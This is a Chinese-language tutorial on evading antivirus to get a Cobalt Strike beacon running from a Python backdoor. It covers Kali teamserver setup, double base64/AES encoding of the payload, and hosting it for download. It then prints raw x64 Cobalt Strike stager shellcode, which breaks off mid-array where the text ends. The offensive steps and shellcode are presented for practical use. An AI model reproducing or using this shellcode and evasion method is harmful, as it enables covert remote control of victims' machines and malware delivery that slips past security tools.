Python反序列化免杀上线CS：两次编码绕过

环境

Windows：win10
kali：linux-2022.2

1、整体过程

本次免杀通过cs生成python后门—将payloadbase64加密—放入服务器下【网上方便被人下载】。
为了避免杀死，我们进行了两次编码

编码base64编码 =》aes 加密 =》base64编码 加密1次 解密1次
【解密之前要进行解码】 =》得到base64编码 aes解密【建议使用rc4，因为ase加密有名容易被发现】

2、环境CobaltStrike准备

1、kali安装CobaltStrike

将CobaltStrike包上传至kali，但是要注意kali是默认拒绝了ssh的密码登录。如此就无法上传文件
如果当弹出服务拒绝了就要去/etc/ssh/sshd_config文档修改。
参考的问题解决博客

vim /etc/ssh/sshd_config

把文档的PermitRootLogin行注释掉，后面添加PermitRootLogin yes

上传包

并且进入CobaltStrike_4.0目录，为"agscript"、“c2lint”、"peclone"和"teamserver"文件赋予执行权限。

#进入cs目录，这里我改了文件名原资源包不是这个文件名
cd cobaltstrike4.0/
#查看
ls -l
#赋予权限
chmod a+x agscript
chmod a+x c2lint
chmod a+x peclone
chmod a+x teamserver

然后kali连接并且监听。

./teamserver 192.168.171.152 kali

2、Windows启动cs连接kali

HOST为kali的IP地址
Port：为./teamserver语句输入后给出的端口
user：随便输入
Password：为./teamserver语句输入的密码即我给的kali

3、使用cs生成payload

使用cs生成payload


查看生产的编码

# length: 894 bytes
buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x27\x23\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x70\x51\x56\x46\x00\x12\x50\x39\xd1\xa5\x3f\x0b\xd0\x98\x82\xb0\x08\xa2\xcc\x9b\x2b\xc5\x7a\xc7\xb4\x29\x29\x2d\xc3\xa6\xe6\x81\xd1\xa0\xc8\x9b\x1e\x9d\x00\x03\x02\x8b\x7a\xd1\x09\xe2\x21\xae\xca\xb8\x8d\x2e\x3c\xe0\xaf\xc9\xed\xce\xd9\x83\x7f\x42\xbd\xe8\xbc\x69\x58\x05\x2b\x38\xfe\x8b\x35\x86\x9a\xb8\x63\x55\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x37\x2e\x30\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x0d\x0a\x00\xf0\xd1\x33\xf3\x1f\x4f\x84\xe8\x66\xfb\xb2\x25\xe1\x9b\x97\x95\x00\x81\xd3\xec\x3e\x90\x2c\x3b\x63\x54\xe9\x29\x5f\x92\x32\xc5\x92\x7d\xb7\xb1\x71\xee\x16\x8a\x05\xdf\x30\xf7\x48\x95\x4b\x66\x31\xf4\x30\x39\xe2\xb4\xe3\xd9\xd9\x15\xe2\x62\xa6\x91\x29\xa6\xbf\x46\xef\x68\x64\xa5\xe9\xe9\x90\x25\x8f\xa2\x10\xb4\x85\x37\xa2\x6f\x7d\x1f\x76\xde\x42\x4f\xb5\x48\xc5\xf8\xd6\xc9\x55\x81\xe6\x6d\x6c\x77\xab\x6b\x8a\xa2\xd4\x86\x18\x79\xba\x1c\x6a\x30\x8a\x73\x40\xc9\xac\xf9\xfe\xe2\xcc\x83\xd8\x91\xb3\x6c\x11\x68\x84\x1a\x59\x54\xb6\xdd\x42\x72\xdf\x82\x51\x56\x71\xad\xc8\x05\xde\xbb\x74\x5e\xe9\x9a\x4c\x9c\x95\xd2\xe2\xdf\x52\xd8\x50\xe7\xc9\xde\x03\x88\x1c\x59\x9c\xb0\x1f\xac\x01\x8a\x33\x3f\x07\xf5\x32\x93\x8e\x38\x4e\xc9\xdf\xf8\xa8\xe3\x1d\x9a\x9b\x07\x8f\x92\x07\xf6\xaa\xbf\x17\x0e\xdd\x4e\x86\x3f\xe0\x63\xed\xd7\xe6\xf3\x74\x80\x7b\xd1\x83\xf2\